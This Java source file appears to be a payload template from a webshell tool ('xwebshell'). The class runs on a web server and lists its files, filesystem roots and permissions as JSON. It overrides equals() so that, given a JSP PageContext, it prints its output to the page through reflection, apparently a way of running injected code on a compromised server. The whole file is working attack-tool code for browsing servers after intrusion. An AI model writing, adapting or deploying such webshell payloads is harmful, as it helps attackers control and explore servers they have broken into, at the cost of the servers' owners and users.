package org.x4ut15m.xwebshell.explorer.templates;

import javax.swing.filechooser.FileFilter;
import java.io.File;
import java.lang.reflect.Method;
import java.nio.file.Paths;

public class BaseFileTakerClass {
    private String path;
    private String status;
    private String msg;
    private String operation;
    private String anchorPoint;

    public BaseFileTakerClass() {

    }

    public String toString() {
        if (path == null || "".equals(path)) {
            return String.format("{\"status\":\"%s\",\"msg\":\"%s\"}", "error", "path is null");
        }

        if ("listFile".equals(operation) || operation == null) {
            msg = listFile(path);
        }
        if ("initFileManager".equals(operation)) {
            msg = initFileManager(path);
        }

        if (!msg.equals("")) {
            status = "successful";
        }
        return String.format("%s{\"status\":\"%s\",\"msg\":%s}%s", anchorPoint, getStatus(), getMsg(), anchorPoint);
    }

    public String listFile(String path) {
        String result = "";
        File file = new File(path);
        if (!file.exists()) {
            result = "\"file or directory was not exists.\"";
        } else {
            result = parseFilePriv(file, true);
        }

        return result;
    }

    public String initFileManager(String path) {
        String result = "";
        String listPath = parseFilePriv(new File(path), true);
        File[] rootFiles = File.listRoots();
        String roots = "[";
        for (File rootFile : rootFiles) {
            roots += parseFilePriv(rootFile, true) + ",";
        }
        if (roots.endsWith(",")) {
            roots = roots.substring(0, roots.length() - 1);
        }
        roots += "]";
        result = String.format("{\"rootPath\":%s,\"projectPath\":%s}", roots, listPath);

        return result;
    }

    public String parseFilePriv(File file, boolean parseSubfile) {
        String fileType = file.isDirectory() ? "d" : "-";
        String isReadable = file.canRead() ? "r" : "-";
        String isWritable = file.canWrite() ? "w" : "-";
        String isExecutable = file.canExecute() ? "x" : "-";
        String absolutePath = Paths.get(file.getAbsolutePath()).normalize().toString();
        long size = file.length();
        boolean isFile = file.isFile();
        boolean isDirectory = file.isDirectory();
        String subfiles = "";

        if (parseSubfile) {
            File[] files = file.listFiles();

            if (files != null) {
                for (File subFile : files) {
                    subfiles += parseFilePriv(subFile, false) + ",";
                }
                if (subfiles.endsWith(",")) {
                    subfiles = subfiles.substring(0, subfiles.length() - 1);
                }
            }
        }
        if (isDirectory && !absolutePath.endsWith("/") && !absolutePath.endsWith("\\")) {
            absolutePath += "/";
        }
        return String.format("{\"fileName\":\"%s\",\"fileType\":\"%s\",\"readable\":\"%s\",\"writable\":\"%s\",\"executable\":\"%s\",\"absolutePath\":\"%s\",\"isFile\":%b,\"isDirectory\":%b,\"size\":%d,\"subFiles\":[%s]}", file.getName(), fileType, isReadable, isWritable, isExecutable, absolutePath, isFile, isDirectory, size, subfiles);
    }

    @Override
    public boolean equals(Object obj) {
        if (obj != null && obj.getClass().getName().contains("PageContext")) {
            try {
                Method getOut = obj.getClass().getMethod("getOut", null);
                getOut.setAccessible(true);
                Object out = getOut.invoke(obj);
                Method println = out.getClass().getDeclaredMethod("println", new Class[]{Object.class});
                println.setAccessible(true);
                println.invoke(out, this);
            } catch (Exception e) {
                e.printStackTrace();
            }
        } else {
            System.out.println(this);
        }

        return true;
    }

    public String getStatus() {
        return status;
    }

    public String getMsg() {
        return msg;
    }
}
